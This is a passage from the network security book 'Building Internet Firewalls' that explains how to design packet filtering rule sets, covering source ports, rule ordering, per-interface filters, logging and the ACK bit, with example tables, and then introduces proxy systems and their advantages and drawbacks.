For various reasons, many filtering products don't let you look at the TCP or UDP source port in making packet filtering decisions; they let you look only at the TCP or UDP destination port. This makes it impossible to specify certain kinds of filters. Some manufacturers who omit TCP/UDP source ports from packet filtering criteria maintain that such filtering isn't useful anyway, or that its proper use is "too dangerous" for customers to understand (because, as we've pointed out above, source port information is not reliable). We believe that this is a fallacy, and that such decisions are better left to well-informed customers.

Let's consider an example in which filters based on source port might be useful - access to Archie servers. As we discuss in Chapter 8, Archie access presents some troublesome problems. The biggest is that the native Archie protocol is UDP-based, and at Internet firewalls UDP is generally blocked altogether (except for small "peepholes" for services such as DNS, NTP, and Archie). The reason for this blocking is usually to prevent outsiders from attacking RPC-based services like NIS/YP and NFS. Because RPC-based services don't run on fixed port numbers, you can't simply block access to the ports the RPC-based services run on (because you don't know what they are). Unlike TCP, UDP doesn't have ACK bits; thus, you can't do start-of-connection filtering. The packet filtering system can't tell, just by examining an incoming packet, whether that packet is a response from an external server to an internal client, or a command from an external client (possibly an attack program) to an internal server (such as NIS/YP or NFS). With all of these obstacles, how, then, do you construct a rule set to allow Archie?

One of the characteristics of Archie is that there are only 20 or so Archie servers in the world. For performance reasons, your users will generally only want to talk to the handful of those servers that are "near" your site in the network topology (for example, there are only five servers in the United States). If you're willing to make certain assumptions about the security of the Archie servers (we discuss these in Chapter 8), you could enable Archie access for your users by allowing packets out to the Archie servers, and by allowing packets back in from the Archie servers (using source port filtering to determine this).

This is somewhat risky. If someone forges packets from port 1525 at an Archie server to an internal NFS server, they will succeed in getting responses from you. In order to do that, they need to guess that you might allow such packets, figure out an internal host address and the port that its NFS server is on, forge the packets, and intercept the answers. None of this is impossibly difficult for an attacker to do, although it's arguably more trouble than most attackers are willing to go to to attack most sites. Note that NFS packets normally fragment, and fragments are normally passed through packet filters, so they will probably succeed in getting some data (all but the first fragment of each NFS packet) even if your packet filter is smart enough to block outbound NFS by examining application-level protocol information. If you are facing determined attackers, this type of filtering is not sufficiently secure.

The following table shows a simple rule set that allows internal clients to interact with a known Archie server, and that disallows everything else. We assume that, for each packet, rules are evaluated in the order listed until a match is found; in that case, "Action" specifies what to do):
 | Direc- | Source | Dest. | Pro- | Source | Dest. |
Rule | tion | Address | Address | tocol | Port | Port | Action
A | Out | Internal | Archie Server | UDP | >1023 | 1525 | Permit
B | In | Archie Server | Internal | UDP | 1525 | >1023 | Permit
C | Either | Any | Any | Any | Any | Any | Deny

  • Rule A lets the clients talk to the Archie server.

  • Rule B allows the Archie server to talk back to the clients.

  • Rule C is the default rule that blocks everything else.

You can only do this if your filtering system allows you to filter based on source port.

6.8.5 It Should Apply Rules in the Order Specified

You want your packet filter to apply, in a predictable order, the rules you specify for it. By far the simplest order is the order in which you, the person configuring the router, specify the rules. Unfortunately, some products, instead of applying rules in the order you specify, try to reorder and merge rules to achieve greater efficiency in applying the rules. This causes several problems:

  • Reordering rules makes it difficult for you to figure out what's going on, and what the router is going to do with a particular set of filtering instructions. Configuring a packet filtering system is already complicated enough, without having a vendor add additional complications by merging and reordering rule sets.

  • If there are any quirks or bugs in the merging or reordering of rule sets (and there often are, because it's something that's very difficult for the vendors to test), it becomes impossible to figure out what the system is going to do with a given set of filters.

  • Most importantly, reordering rules can break a rule set that would work just fine if it had not been reordered.

Let's consider an example. Imagine that you're in a corporation, working on a special project with a local university. Your corporate Class B network is 172.16 (i.e., your IP addresses are 172.16.0.0 through 172.16.255.255). The university owns Class A net 10 (i.e., their IP addresses are 10.0.0.0 through 10.255.255.255).[6]

[6] 172.16 and 10 are both reserved network numbers, which no company or university could have. They're used for example purposes only. Not all the IP addresses in a network's range are valid host addresses; addresses where the host portion is all ones or all zeros are reserved and cannot be allocated to hosts, making the range of host addresses on 172.16 actually 172.16.0.1 though 172.16.255.254.

For the purposes of this project, you're linking your network directly to the university's, using a packet filtering router. You want to disallow all Internet access over this link (Internet access should go through your Internet firewall). Your special project with the university uses the 172.16.6 subnet of your Class B network (i.e., IP address 172.16.6.0 through 172.16.6.255). You want all subnets at the university to be able to access this project subnet. There is one eight-bit subnet at the university, the 10.1.99 subnet, that you know has a lot of hostile activity on it; you want to ensure that this subnet can only reach your project subnet.

How can you meet all these requirements? Specify the three packet filtering rules listed below. (In this example, we are considering only the rules for traffic incoming to your site; you'd need to set up corresponding rules for outgoing traffic.)

Rule | Source Address | Dest. Address | Action
A | 10.0.0.0/8 | 172.16.6.0/24 | Permit
B | 10.1.99.0/24 | 172.16.0.0/16 | Deny
C | Any | Any | Deny

  • Rule A permits the university to reach your project subnet.

  • Rule B locks the hostile subnet at the university out of everything else on your network.

  • Rule C disallows Internet access to your network.

Now let's look at what happens in several different cases, depending on exactly how these rules are applied.

6.8.5.1 If rules are applied in the order ABC

If the rules are applied in the order ABC - the same order specified by the user - the following table shows what happens with a variety of sample packets.

 | Source | Dest. | Desired | Actual Action
Packet | Address | Address | Action | (by Rule)
1 | 10.1.99.1 | 172.16.1.1 | Deny | Deny (B)
2 | 10.1.99.1 | 172.16.6.1 | Permit | Permit (A)
3 | 10.1.1.1 | 172.16.6.1 | Permit | Permit (A)
4 | 10.1.1.1 | 172.16.1.1 | Deny | Deny (C)
5 | 192.168.3.4 | 172.16.1.1 | Deny | Deny (C)
6 | 192.168.3.4 | 172.16.6.1 | Deny | Deny (C)

  • Packet 1 is from a machine at the university on the hostile subnet to a random machine on your network (not on the project subnet); you want it to be denied; it is, by rule B.

  • Packet 2 is from a machine at the university on the hostile subnet to a machine on your project subnet; you want it to be permitted; it is, by rule A.

  • Packet 3 is from a random machine at the university to a machine on your project subnet; you want it to be permitted; it is, by rule A.

  • Packet 4 is from a random machine at the university to one of your nonproject machines; you want it to be denied; it is, by rule C.

  • Packet 5 is from a random machine on the Internet to one of your nonproject machines; you want it to be denied; it is, by rule C.

  • Packet 6 is from a random machine on the Internet to one of your project machines; you want it to be denied; it is, by rule C.

Thus, if the rules are applied in the order ABC, they accomplish what you want.

6.8.5.2 If the rules are applied in the order BAC

What would happen if the router reordered the rules by the number of significant bits in the source address, so that more specific rules are applied first? In other words, rules applying to more specific IP source addresses (i.e., rules that apply to a smaller range of source addresses) would be applied before rules applying to less specific IP source addresses? In this case, the rules would be applied in the order BAC.

Rule | Source Address | Dest. Address | Action
B | 10.1.99.0/24 | 172.16.0.0/16 | Deny
A | 10.0.0.0/8 | 172.16.6.0/24 | Permit
C | Any | Any | Deny

Here are the same six sample packets, with the new outcomes if the rules are applied in the order BAC; in bold face, we show how the actions differ from the previous case (in which rules are applied in the order specified by the user):

 | Source | Dest. | Desired | Actual Action
Packet | Address | Address | Action | (by Rule)
1 | 10.1.99.1 | 172.16.1.1 | Deny | Deny (B)
2 | 10.1.99.1 | 172.16.6.1 | Permit | Deny (B)
3 | 10.1.1.1 | 172.16.6.1 | Permit | Permit (A)
4 | 10.1.1.1 | 172.16.1.1 | Deny | Deny (C)
5 | 192.168.3.4 | 172.16.1.1 | Deny | Deny (C)
6 | 192.168.3.4 | 172.16.6.1 | Deny | Deny (C)

If the rules are applied in the order BAC, then packet 2, which should be permitted, is improperly denied by rule B. Now, denying something that should be permitted is safer than permitting something that should be denied, but it would be better if the filtering system simply did what you wanted it to do.

You can construct a similar example for systems that reorder rules based on the number of significant bits in the destination address, which is the most popular other reordering criteria.

6.8.5.3 Rule B is actually not necessary

If you consider this example carefully, you can see that the discussion about the hostile subnet, which is the reason for rule B, is redundant, and isn't necessary to achieve the desired results. Rule B is intended to limit the hostile subnet to accessing only your project subnet. Rule A, however, already restricts the entire university - including the hostile subnet - to accessing only your project subnet. If you omit rule B, then the rules will be applied in order AC regardless of whether or not the system reorders based on the number of significant bits in the IP source address. The tables below shows what happens in either case:

Rule | Source Address | Dest. Address | Action
A | 10.0.0.0/8 | 172.16.6.0/24 | Permit
C | Any | Any | Deny
 | Source | Dest. | Desired | Actual Action
Packet | Address | Address | Action | (by Rule)
1 | 10.1.99.1 | 172.16.1.1 | Deny | Deny (C)
2 | 10.1.99.1 | 172.16.6.1 | Permit | Permit (A)
3 | 10.1.1.1 | 172.16.6.1 | Permit | Permit (A)
4 | 10.1.1.1 | 172.16.1.1 | Deny | Deny (C)
5 | 192.168.3.4 | 172.16.1.1 | Deny | Deny (C)
6 | 192.168.3.4 | 172.16.6.1 | Deny | Deny (C)

6.8.5.4 Packet filtering rules are tricky

The point here is that getting filtering rules right is tricky. In this example, we are considering a relatively simple situation, and we've still managed to come up with a rule set that had a subtle error in it. Real-life rule sets are significantly more complex than these, and often include tens or hundreds of rules. Considering the implications and interactions of all those rules is nearly impossible, unless they are simply applied in the order specified. So-called "help" from a router, in the form of reordering rule sets, can easily turn an over-specified but working rule set into a nonworking rule set. You should make sure the packet filtering router you select doesn't reorder rule sets.

It's OK if the router does optimization, as long as the optimization doesn't change the effect of the rules. Pay close attention to what kind of optimizations your packet filtering implementation tries to do.

6.8.6 It Should Apply Rules Separately to Incoming and Outgoing Packets, on a Per-Interface Basis

For maximum flexibility, capability, and performance, you want to be able to specify a separate rule set for incoming and outgoing packets on each interface. In this section, we'll show an example that demonstrates the problems you can run into with routers that aren't that flexible.

A limitation unfortunately shared by many packet filtering systems is that they let you examine packets only as they are leaving the system. This limitation leads to three problems:

  • The system is always "outside" its own filters.

  • Detecting forged packets is difficult or impossible.

  • Configuring such systems is extremely difficult if they have more than two interfaces.

Let's look at the first problem. If a router lets you look only at outgoing packets, then packets directed to the router itself are never subjected to packet filtering. The result is that the filtering doesn't protect the router itself. This is usually not too serious a problem, because there are typically few services on the router that could be attacked, and there are other ways to protect those services. Telnet is an example of a service that can be attacked in this way, but you can usually get around the routing problem by disabling the Telnet server, or by controlling from where it will accept incoming connections. SNMP is another commonly available and vulnerable service.

Now consider the second problem. If a router can only filter outgoing packets, it's difficult or impossible to detect forged packets being injected from the outside (that is, packets coming in from the outside, but which claim to have internal source addresses), as is illustrated in Figure 6.1. Forgery detection is most easily done when the packet enters the router, on the inbound interface. Detecting forgeries on the outbound interface is complicated by packets generated by the router itself (which will have internal source addresses if the router itself has an internal address) and by legitimate internal packets mistakenly directed to the router (packets that should have been sent directly from their internal source to their internal destinations, but were instead sent to the filtering router, for instance by systems following a default route that leads to the filtering router).

The third problem with outbound-only filtering is that it can be difficult to configure packet filtering on such a router when it has more than two interfaces. If it has only two interfaces, then being able to do only outbound filtering on each interface is no big deal. There are only two paths through the router (from the first interface to the second, and vice versa). Packets going one way can be filtered as outgoing packets on one interface, while packets going the other way can be filtered as outgoing packets on the other interface. Consider, on the other hand, a router with four interfaces: one for the site's Internet connection, one for a finance network, and two for engineering networks. In such an environment, it wouldn't be unreasonable to want to impose the following policy:

  • The two engineering networks can communicate with each other without restrictions.

  • The two engineering networks and the Internet can communicate with each other with certain restrictions.

  • The two engineering networks and the finance network can communicate with each other with certain restrictions - restrictions that are different from those between the engineering nets and the Internet.

  • The finance network cannot communicate with the Internet under any circumstances.

Figure 6.9 illustrates this environment.

Figure 6.9: Packet filtering restrictions on different interfaces

There are 12 paths through this router, from each of four interfaces to each of three other interfaces (in general, there are N * N-1 paths through an N-interface router). With an outbound-only filtering system, you would have to establish the following filtering on each interface:

  • Engineering A - Internet filters, finance filters, engineering B filters

  • Engineering B - Internet filters, finance filters, engineering A filters

  • Finance - Internet filters, engineering A filters, engineering B filters

  • Internet - engineering A filters, engineering B filters, finance filters

Merging multiple filtering requirements in a single interface like this can be very tricky. Depending on the complexity of the filters and the flexibility of the filtering system, it may actually be impossible in some situations.

A more subtle problem with such a setup is that it imposes packet filtering overhead between the two engineering networks (which may result in a significant performance problem). With this setup, the router has to examine all the packets flowing between the two engineering nets, even though it will never decide to drop any of those packets.

Now look at the same scenario, assuming that the packet filtering system has both inbound and outbound filters. In this case, you could put:

  • All the filters related to the Internet (regardless of whether they apply to the engineering nets or the finance net) on the Internet interface.

  • All the filters related to the finance net (regardless of whether they apply to the engineering nets or the Internet) on the finance interface.

  • No filters at all on the engineering interfaces (thus allowing maximum performance for traffic between the engineering nets, because it wouldn't pass through any filters).

What if a packet filtering system had inbound-only filters, rather than outbound-only filters? A system of this kind would address the first problem we described in this section: a router with inbound-only filters can be protected by its own filters. However, such a system would not address the second and more serious problem; you still have problems merging filtering rules on routers with more than two interfaces.

6.8.7 It Should Be Able to Log Accepted and Dropped Packets

Make sure the packet filtering router gives you the option of logging all of the packets it drops. You want to know about any packets that are blocked by your packet filtering rules. These rules reflect your security policy and you want to know when somebody attempts to violate that policy. The simplest way to learn about these attempted violations is through such a log.

You'd also like to be able to log selected packets that were accepted. For example, you might want to log the start of each TCP connection. Logging all accepted packets is going to be too much data in normal operation, but may be worth it occasionally for debugging and for dealing with attacks in progress. Although you will probably be doing some logging at the packet destination, that logging won't work if the destination host has been compromised, and won't show packets that make it through the packet filter but don't have a valid destination. Those packets are interesting, because they may be probes from an attacker. Without information from the router, you won't have the complete picture of what the attacker is doing.

The logging should be flexible; the packet filter should give you the ability to log via syslog and to a console or a local file. It would also be helpful if the logging included the ability to generate SNMP traps on certain events.

6.8.8 It Should Have Good Testing and Validation Capabilities

An important part of establishing a firewall is convincing yourself (and others within your organization) that you've done the job right, and haven't overlooked anything. To do that, you need to be able to test and validate your configuration. Most of the packet filtering packages currently available have little or nothing in the way of testing and validation capabilities.

Testing and validation comes down to two related questions:

  • Have you properly told the router to do what you want?

  • Is the router doing what you've told it to?

Unfortunately, with many products available today, both of these questions tend to be difficult to answer. In the few products that provide any kinds of testing capabilities, what the test says it will do with a given packet and what it actually does with such a packet are sometimes different, often because of subtle caching and optimization bugs. Some sites (and, we hope, some vendors!) have constructed filtering test beds, where they can generate test packets on one side of a filtering router and watch to see what comes through to the other side, but that's beyond the capabilities and resources of most sites. About the best you can do is pick something with a good reputation for not having many problems and good support for when it inevitably does have problems.

Previous: 6.7 Filtering by Service | Building Internet Firewalls | Next: 6.9 Where to Do Packet Filtering
6.7 Filtering by Service | Book Index | 6.9 Where to Do Packet Filtering


[Chapter 6] 6.9 Where to Do Packet Filtering

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.8 Choosing a Packet Filtering Router Chapter 6
Packet Filtering 		Next: 6.10 Putting It All Together

6.9 Where to Do Packet Filtering

If you look at the various firewall architectures outlined in Chapter 4, you see that there are a variety of places you might perform packet filtering. Where should you do it? The answer is simple: anywhere you can.

Many of the architectures (e.g., the screened host architecture or the single-router screened subnet architecture) involve only one router. In those cases, that one router is the only place where you could do packet filtering, so there's not much of a decision to be made.

However, other architectures, such as the two-router screened subnet architecture, and some of the architectural variations, involve multiple routers. You might do packet filtering on any or all of these routers.

Our recommendation is to do whatever packet filtering you can wherever you can. This is an application of the principle of least privilege (described in Chapter 3). For each router that is part of your firewall, figure out what types of packets should legitimately be flowing through it, and set up filters to allow only those packets and no more. You may also want to put packet filters on destination hosts, using screend, ipfilterd, or TCP Wrapper. This is highly advisable for bastion hosts.

This may lead to duplication of some filters on multiple routers; in other words, you may filter out the same thing in more than one place. That's good; it's redundancy, and it may save you some day if you ever have a problem with one of your routers - for example, if something was supposed to be done, but wasn't (because of improper configuration, bugs, enemy action, or whatever). It provides defense in depth, and gives you the opportunity to fail safely - other strategies we outlined in Chapter 3.

If filtering is such a good idea, why not filter on all routers, not just those that are part of the firewall? Basically, because of performance and maintenance issues. We discuss above what "fast enough" means for a packet filtering system on the perimeter of your network. However, what's fast enough at the edge of your network (where the real bottleneck is probably the speed of the line connecting you to the Internet) is probably not fast enough within your network (where you've probably got many busy LANs of Ethernet, FDDI, or perhaps something even faster). Further, if you put filters on all your routers, you're going to have to maintain all those filter lists. Maintaining filter lists is a manageable problem if you're talking about one or a handful of routers that are part of a firewall, but it gets out of hand in a hurry as the number of routers increases. This problem is worsened if some of the routers are purely internal. Why? Because you probably want to allow more services within your network than you allow between your network and the Internet. This is either going to make your filter sets longer (and thus harder to maintain), or make you switch from a "default deny" stance to a "default permit" stance on those internal filters (which is going to seriously undermine the security they provide anyway). You often reach a point of diminishing returns fairly quickly when you try to apply filtering widely within a LAN, rather than just at its perimeter.

You may still have internal packet filtering routers at boundaries within the LAN (between networks with different security policies, or networks that belong to different organizations). As long as they're at clearly defined boundaries, and they're up to the performance requirements, that's not a problem. Whether or not you duplicate the external rules on these internal packet filters is going to depend on how much you trust the external packet filters, and how much complexity and overhead the external rules are going to add.

Previous: 6.8 Choosing a Packet Filtering Router | Building Internet Firewalls | Next: 6.10 Putting It All Together
6.8 Choosing a Packet Filtering Router | Book Index | 6.10 Putting It All Together


[Chapter 6] 6.10 Putting It All Together

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.9 Where to Do Packet Filtering Chapter 6
Packet Filtering 		Next: 7. Proxy Systems

6.10 Putting It All Together

This section works through a few more examples to show how many of the concepts we've talked about in this chapter come together in the real world. For detailed discussions of the packet filtering characteristics of particular protocols, see Chapter 8.

This section is designed to demonstrate the process of developing a filter set; filters are elaborated as we go on, rather than being produced in final form. We aren't attempting to show a complete filter set for any site. Every site is different, and you can get burned by packet filtering if you don't understand all the details and implications of its use in your particular environment. We want people to carefully consider and understand what they're doing - not blindly copy something out of a book (even ours!) without a careful consideration of how relevant and appropriate it is for their own situation. In any case, a full solution for a site requires considering packet filtering, proxying, and configuration issues. That process is illustrated in Chapter 9, Two Sample Firewalls.

Let's start with a simple example: allowing inbound and outbound SMTP (so that you can send and receive electronic mail) and nothing else. You might start with the following rule set.

NOTE: We assume in this example that, for each packet, your filtering system looks at the rules in order. It starts at the top until it finds a rule that matches the packet, and then it takes the action specified.

 | Direc- | Source | Dest. | Pro- | Dest. |
Rule | tion | Address | Address | tocol | Port | Action
A | In | External | Internal | TCP | 25 | Permit
B | Out | Internal | External | TCP | >1023 | Permit
C | Out | Internal | External | TCP | 25 | Permit
D | In | External | Internal | TCP | >1023 | Permit
E | Either | Any | Any | Any | Any | Deny

  • Rules A and B allow inbound SMTP connections (incoming email).

  • Rules C and D allow outbound SMTP connections (outgoing email).

  • Rule E is the default rule that applies if all else fails.

Now, let's consider some sample packets to see what happens. Let's say that your host has IP address 172.16.1.1, and that someone is trying to send you mail from the remote host with IP address 192.168.3.4. Further, let's say the sender's SMTP client uses port 1234 to talk to your SMTP server, which is on port 25. (SMTP servers are always assumed to be on port 25; see the discussion of SMTP in Chapter 8):

 | Direc- | Source | Dest. | Pro- | Dest. | Action
Packet | tion | Address | Address | tocol | Port | (Rule)
1 | In | 192.168.3.4 | 172.16.1.1 | TCP | 25 | Permit (A)
2 | Out | 172.16.1.1 | 192.168.3.4 | TCP | 1234 | Permit (B)

Figure 6.10 shows this case.

Figure 6.10: Packet filtering: inbound SMTP (sample packets 1 and 2)

In this case, the packet filtering rules permit your incoming email:

  • Rule A permits incoming packets from the sender's SMTP client to your SMTP server (represented by packet number 1 above).

  • Rule B permits the responses from your server back to the sender's client (represented by packet number 2 above).

What about outgoing email from you to them? Let's say that your SMTP client uses port 1357 to talk to their SMTP server:

 | Direc- | Source | Dest. | Pro- | Dest. | Action
Packet | tion | Address | Address | tocol | Port | (Rule)
3 | Out | 172.16.1.1 | 192.168.3.4 | TCP | 25 | Permit (C)
4 | In | 192.168.3.4 | 172.16.1.1 | TCP | 1357 | Permit (D)

Figure 6.11 shows this case.

Figure 6.11: Packet filtering: outbound SMTP (sample packets 3 and 4)

Again, in this case, the packet filtering rules permit your outgoing email:

  • Rule C permits outgoing packets from your SMTP client to their SMTP server (represented by packet number 3 above).

  • Rule D permits the responses from their server back to your client (represented by packet number 4 above).

Now, let's stir things up. What happens if someone in the outside world (for example, someone on on host 10.1.2.3) attempts to open a connection from port 5150 on his end to the X11 server on port 6000 on one of your internal systems (for example, 172.16.3.4) in order to carry out an attack? (See Chapter 8 for a discussion of X11 and some of its vulnerabilities.)

 | Direc- | Source | Dest. | Pro- | Dest. | Action
Packet | tion | Address | Address | -tocol | Port | (Rule)
5 | In | 10.1.2.3 | 172.16.3.4 | TCP | 6000 | Permit (D)
6 | Out | 172.16.3.4 | 10.1.2.3 | TCP | 5150 | Permit (B)

Figure 6.12 shows this case.

Figure 6.12: Packet filtering: inbound SMTP (sample packets 5 and 6)

The rule set shown above allows this connection to take place! In fact, the rule set shown above allows any connection to take place as long as both ends of the connection are using ports above 1023. Why?

  • Rules A and B together do what you want to allow inbound SMTP connections.

  • Rules C and D together do what you want to allow outbound SMTP connections.

  • But Rules B and D together end up allowing all connections where both ends are using ports above 1023, and this is certainly not what you intended.

There are probably lots of vulnerable servers listening on ports above 1023 at your site. Examples are X11 (port 6000), OpenWindows (port 2000), databases (Sybase, Oracle, Informix, and other databases commonly use site-chosen ports above 1023), and so on. This is why you need to consider a rule set as a whole, instead of assuming that if each rule or group of rules is OK, the whole set is also OK.

What can you do about this? Well, what if you also looked at the source port in making your filtering decisions? Here are those same five basic rules with the source port added as a criterion:

 | Direc- | Source | Dest. | Pro- | Source | Dest. |
Rule | tion | Address | Address | tocol | Port | Port | Action
A | In | External | Internal | TCP | >1023 | 25 | Permit
B | Out | Internal | External | TCP | 25 | >1023 | Permit
C | Out | Internal | External | TCP | >1023 | 25 | Permit
D | In | External | Internal | TCP | 25 | >1023 | Permit
E | Either | Any | Any | Any | Any | Any | Deny

And here are those same six sample packets, filtered by the new rules:

 | Direc- | Source | Dest. | Pro- | Source | Dest. | Action
Packet | tion | Address | Address | tocol | Port | Port | (Rule)
1 | In | 192.168.3.4 | 172.16.1.1 | TCP | 1234 | 25 | Permit (A)
2 | Out | 172.16.1.1 | 192.168.3.4 | TCP | 25 | 1234 | Permit (B)
3 | Out | 172.16.1.1 | 192.168.3.4 | TCP | 1357 | 25 | Permit (C)
4 | In | 192.168.3.4 | 172.16.1.1 | TCP | 25 | 1357 | Permit (D)
5 | In | 10.1.2.3 | 172.16.3.4 | TCP | 5150 | 6000 | Deny (E)
6 | Out | 172.16.3.4 | 10.1.2.3 | TCP | 6000 | 5150 | Deny (E)

As you can see, when the source port is also considered as a criterion, the problem packets (numbers 5 and 6, representing an attack on one of your X11 servers) no longer meet any of the rules for packets to be permitted (rules A through D). The problem packets end up being denied by the default rule.

OK, now what if you're dealing with a slightly smarter attacker? What if the attacker uses port 25 as the client port on his end (he might do this by killing off the SMTP server on a machine he controls and using its port, or by carrying out the attack from a machine that never had an SMTP server in the first place, like a PC), and then attempts to open a connection to your X11 server? Here are the packets you'd see:

 | Direc- | Source | Dest. | Pro- | Source | Dest. | Action
Packet | tion | Address | Address | tocol | Port | Port | (Rule)
7 | In | 10.1.2.3 | 172.16.3.4 | TCP | 25 | 6000 | Permit (D)
8 | Out | 172.16.3.4 | 10.1.2.3 | TCP | 6000 | 25 | Permit (C)

Figure 6.13 shows this case.

Figure 6.13: Packet filtering: inbound SMTP (sample packets 7 and 8)

As you can see, the packets would be permitted, and the attack would likely succeed (X11 security being as weak as it is).

So what can you do? The solution is to also consider the ACK bit as a filtering criterion. Again, here are those same five rules with the ACK bit also added as a criterion:

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
Rule | tion | Address | Address | tocol | Port | Port | Set | Action
A | In | External | Internal | TCP | >1023 | 25 | Any | Permit
B | Out | Internal | External | TCP | 25 | >1023 | Yes | Permit
C | Out | Internal | External | TCP | >1023 | 25 | Any | Permit
D | In | External | Internal | TCP | 25 | >1023 | Yes | Permit
E | Either | Any | Any | Any | Any | Any | Any | Deny

Now, packet 7 (the attacker attempting to open a connection to your X11 client) will fail:

 | Direc- | Source | Dest. | Pro- | Source | Dest. | ACK | Action
Packet | tion | Address | Address | tocol | Port | Port | Set | (Rule)
7 | In | 10.1.2.3 | 172.16.3.4 | TCP | 25 | 6000 | No | Deny (E)

The only difference in this rule set are in rules B and D. Of these, rule D is the most important, because it controls incoming connections to your site. Rule B applies to connections outgoing from your site, and sites are generally more interested in controlling incoming connections than outgoing connections.

Rule D now says to accept incoming packets from things that are supposedly SMTP servers (because the packets are coming from port 25) only if the packets have the ACK bit set; that is, only if the packets are part of a connection started from the inside (from your client to his server).

If someone attempts to open a TCP connection from the outside, the very first packet that he sends will not have the ACK bit set; that's what's involved in "opening a TCP connection." (See the discussion of the ACK bit in the "TCP" section of "Protocols above IP" earlier in this chapter.) If you block that very first packet (packet 7 in the example above), you block the whole TCP connection. Without certain information in the headers of the first packet - in particular, the TCP sequence numbers - the connection can't be established.

Why can't an attacker get around this by simply setting the ACK bit on the first packet? If he does, the packet will get past the filters, but the destination will believe the packet belongs to an existing connection (instead of the one with which the packet is trying to establish a new connection). When the destination tries to match the packet up with the supposed existing connection, it will fail because there isn't one, and the packet will be ignored.

NOTE: As a basic rule of thumb, any filtering rule that permits incoming TCP packets for outgoing connections (that is, connections initiated by internal clients) should require that the ACK bit be set.

Previous: 6.9 Where to Do Packet Filtering | Building Internet Firewalls | Next: 7. Proxy Systems
6.9 Where to Do Packet Filtering | Book Index | 7. Proxy Systems


[Chapter 7] Proxy Systems

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.10 Putting It All Together Chapter 7 Next: 7.2 How Proxying Works

7. Proxy Systems

Contents:
Why Proxying?
How Proxying Works
Proxy Server Terminology
Using Proxying with Internet Services
Proxying Without a Proxy Server
Using SOCKS for Proxying
Using the TIS Internet Firewall Toolkit for Proxying
What If You Can't Proxy?

Proxying provides Internet access to a single host, or a very small number of hosts, while appearing to provide access to all of your hosts. The hosts that have access act as proxies for the machines that don't, doing what these machines want done.

A proxy server for a particular protocol or set of protocols runs on a dual-homed host or a bastion host: some host that the user can talk to, which can, in turn, talk to the outside world. The user's client program talks to this proxy server instead of directly to the "real" server out on the Internet. The proxy server evaluates requests from the client and decides which to pass on and which to disregard. If a request is approved, the proxy server talks to the real server on behalf of the client (thus the term "proxy"), and proceeds to relay requests from the client to the real server, and to relay the real server's answers back to the client.

As far as the user is concerned, talking to the proxy server is just like talking directly to the real server. As far as the real server is concerned, it's talking to a user on the host that is running the proxy server; it doesn't know that the user is really somewhere else.

Proxying doesn't require any special hardware, although it does require special software for most services.

NOTE: Proxy systems are effective only when they are used in conjunction with some method of restricting IP-level traffic between the clients and the real servers, such as a screening router or a dual-homed host that doesn't route packets. If there is IP-level connectivity between the clients and the real servers, the clients can bypass the proxy system (and presumably so can someone from the outside).

7.1 Why Proxying?

There's no point in connecting to the Internet if your users can't access it. On the other hand, there's no safety in connecting to the Internet if there's free access between it and every host at your site. Some compromise has to be applied.

The most obvious compromise is to provide a single host with Internet access for all your users. However, this isn't a satisfactory solution because these hosts aren't transparent to users. Users who want to access network services can't do so directly. They have to log in to the dual-homed host, do all their work from there, and then somehow transfer the results of their work back to their own workstations. At best, this multiple-step process annoys users by forcing them to do multiple transfers and work without the customizations they're accustomed to.

The problem is worse at sites with multiple operating systems; if your native system is a Macintosh, and the dual-homed host is a UNIX system, the UNIX system will probably be completely foreign to you. You'll be limited to using whatever tools are available on the dual-homed host, and these tools may be completely unlike (and may seem inferior to) the tools you use on your own system.

Dual-homed hosts configured without proxies therefore tend to annoy their users and significantly reduce the benefit people get from the Internet connection. Worse, they usually don't provide adequate security; it's almost impossible to adequately secure a machine with many users, particularly when those users are explicitly trying to get to the external universe. You can't effectively limit the available tools, because your users can always transfer tools from internal machines that are the same type. For example, on a dual-homed host you can't guarantee that all file transfers will be logged because people can use their own file transfer agents that don't do logging.

Proxy systems avoid user frustration and the insecurities of a dual-homed host. They deal with user frustration by automating the interaction with the dual-homed host. Instead of requiring users to deal directly with the dual-homed host, proxy systems allow all interaction to take place behind the scenes. The user has the illusion he is dealing directly (or almost directly) with the server on the Internet that he really wants to access, with a minimum of direct interaction with the dual-homed host. Figure 7.1 illustrates the difference between reality and illusion with proxy systems.

Figure 7.1: Proxies - reality and illusion

Proxy systems deal with the insecurity problems by avoiding user logins on the dual-homed host and by forcing connections through controlled software. Because the proxy software works without requiring user logins, the host it runs on is safe from the randomness of having multiple logins. It's also impossible for anybody to install uncontrolled software to reach the Internet; the proxy acts as a control point.

7.1.1 Advantages of Proxying

There are a number of advantages to using proxy services.

7.1.1.1 Proxy services allow users to access Internet services `directly'

With the dual-homed host approach, a user needs to log into the host before using any Internet services. This is often inconvenient, and some users become so frustrated that they look for ways around the firewall. With proxy services, users think they're interacting directly with Internet services.

Of course, there's more going on behind the scenes but it's usually transparent to users. While proxy services allow users to access Internet services from their own systems, they do so without allowing packets to pass directly between the user's system and the Internet. The path is indirect, either through a dual-homed host, or through a bastion host and screening router combination.

7.1.1.2 Proxy services are good at logging

Because proxy servers understand the underlying protocol, they allow logging to be performed in a particularly effective way. For example, instead of logging all of the data transferred, an FTP proxy server logs only the commands issued and the server responses received; this results in a much smaller and more useful log.

7.1.2 Disadvantages of Proxying

There are also some disadvantages to using proxy services.

7.1.2.1 Proxy services lag behind nonproxied services

Although proxy software is widely available for the older and simpler services like FTP and Telnet, proven software for newer or less widely used services is harder to find. There's usually a distinct lag between the introduction of a service and the availability of proxying servers for it; the length of the lag depends primarily on how well the service is designed for proxying. This makes it difficult for a site to offer new services immediately as they become available. Until suitable proxy software is available, a system that needs new services may have to be placed outside the firewall, opening up potential security holes.

7.1.2.2 Proxy services may require different servers for each service

You may need a different proxy server for each protocol, because the proxy server has to understand the protocol in order to determine what to allow and disallow, and in order to masquerade as a client to the real server and as the real server to the proxy client. Collecting, installing, and configuring all these various servers can be a lot of work.

Products and packages differ greatly in the ease with which they can be configured, but making things easier in one place can make it harder in others. For example, servers that are particularly easy to configure are usually limited in flexibility; they're easy to configure because they make certain assumptions about how they're going to be used, which may or may not be correct or appropriate for your site.

7.1.2.3 Proxy services usually require modifications to clients, procedures, or both

Except for a few services designed for proxying, proxy servers require modifications to clients and/or procedures. Either kind of modification has drawbacks; people can't always use the readily available tools with their normal instructions.

